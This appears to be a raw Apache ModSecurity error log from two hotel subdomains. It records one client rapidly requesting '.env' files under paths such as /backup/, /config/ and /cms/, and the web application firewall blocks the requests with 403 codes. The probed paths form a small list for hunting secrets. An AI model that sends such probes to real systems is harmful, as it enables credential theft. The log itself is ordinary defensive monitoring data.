[Sun Oct 25 04:06:28.267991 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hIHtOs-nfC4GshpR5wAAABc"]
[Sun Oct 25 04:06:28.336592 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hIHtOs-nfC4GshpR5wAAABc"]
[Sun Oct 25 04:06:28.336856 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hIHtOs-nfC4GshpR5wAAABc"]
[Sun Oct 25 04:06:28.268146 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hNxXWZMI2DaSlsHxZwAAABY"]
[Sun Oct 25 04:06:28.345829 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hNxXWZMI2DaSlsHxZwAAABY"]
[Sun Oct 25 04:06:28.346055 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hNxXWZMI2DaSlsHxZwAAABY"]
[Sun Oct 25 04:06:28.547901 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hJ68N771hz7W4KlsgAAAAAw"]
[Sun Oct 25 04:06:28.548018 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hJ68N771hz7W4KlsgAAAAAw"]
[Sun Oct 25 04:06:28.548223 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hJ68N771hz7W4KlsgAAAAAw"]
[Sun Oct 25 04:06:28.549212 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hLQKh4dfs72fmHxwMwAAAAE"]
[Sun Oct 25 04:06:28.549322 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hLQKh4dfs72fmHxwMwAAAAE"]
[Sun Oct 25 04:06:28.549579 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hLQKh4dfs72fmHxwMwAAAAE"]
[Sun Oct 25 04:06:28.577122 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hKrU4NwppjTEGaL6xwAAAAY"]
[Sun Oct 25 04:06:28.577233 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hKrU4NwppjTEGaL6xwAAAAY"]
[Sun Oct 25 04:06:28.577460 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hKrU4NwppjTEGaL6xwAAAAY"]
[Sun Oct 25 04:06:28.596839 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hALaiqtlZaJBsx4YCgAAAA0"]
[Sun Oct 25 04:06:28.596963 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hALaiqtlZaJBsx4YCgAAAA0"]
[Sun Oct 25 04:06:28.597213 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "at24hALaiqtlZaJBsx4YCgAAAA0"]
[Sun Oct 25 04:06:28.680613 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hNxXWZMI2DaSlsHxagAAABY"]
[Sun Oct 25 04:06:28.680753 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hNxXWZMI2DaSlsHxagAAABY"]
[Sun Oct 25 04:06:28.680991 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/be/.env"] [unique_id "at24hNxXWZMI2DaSlsHxagAAABY"]
[Sun Oct 25 04:06:28.684144 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hFTnwNJm6o1fQZIi7AAAAAI"]
[Sun Oct 25 04:06:28.684251 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hFTnwNJm6o1fQZIi7AAAAAI"]
[Sun Oct 25 04:06:28.684467 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta/.env"] [unique_id "at24hFTnwNJm6o1fQZIi7AAAAAI"]
[Sun Oct 25 04:06:28.937446 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hNxXWZMI2DaSlsHxbAAAABY"]
[Sun Oct 25 04:06:28.942677 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hNxXWZMI2DaSlsHxbAAAABY"]
[Sun Oct 25 04:06:28.942958 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hNxXWZMI2DaSlsHxbAAAABY"]
[Sun Oct 25 04:06:29.024797 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hbQKh4dfs72fmHxwNQAAAAE"]
[Sun Oct 25 04:06:29.025078 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hbQKh4dfs72fmHxwNQAAAAE"]
[Sun Oct 25 04:06:29.025510 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at24hbQKh4dfs72fmHxwNQAAAAE"]
[Sun Oct 25 04:06:29.073895 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hQLaiqtlZaJBsx4YDgAAAA0"]
[Sun Oct 25 04:06:29.074073 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hQLaiqtlZaJBsx4YDgAAAA0"]
[Sun Oct 25 04:06:29.074310 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hQLaiqtlZaJBsx4YDgAAAA0"]
[Sun Oct 25 04:06:29.131408 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hbQKh4dfs72fmHxwNgAAAAE"]
[Sun Oct 25 04:06:29.131554 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hbQKh4dfs72fmHxwNgAAAAE"]
[Sun Oct 25 04:06:29.131815 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at24hbQKh4dfs72fmHxwNgAAAAE"]
[Sun Oct 25 04:06:29.354574 2026] [proxy_fcgi:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:29.469740 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hdxXWZMI2DaSlsHxcAAAABY"]
[Sun Oct 25 04:06:29.688470 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hdxXWZMI2DaSlsHxcAAAABY"]
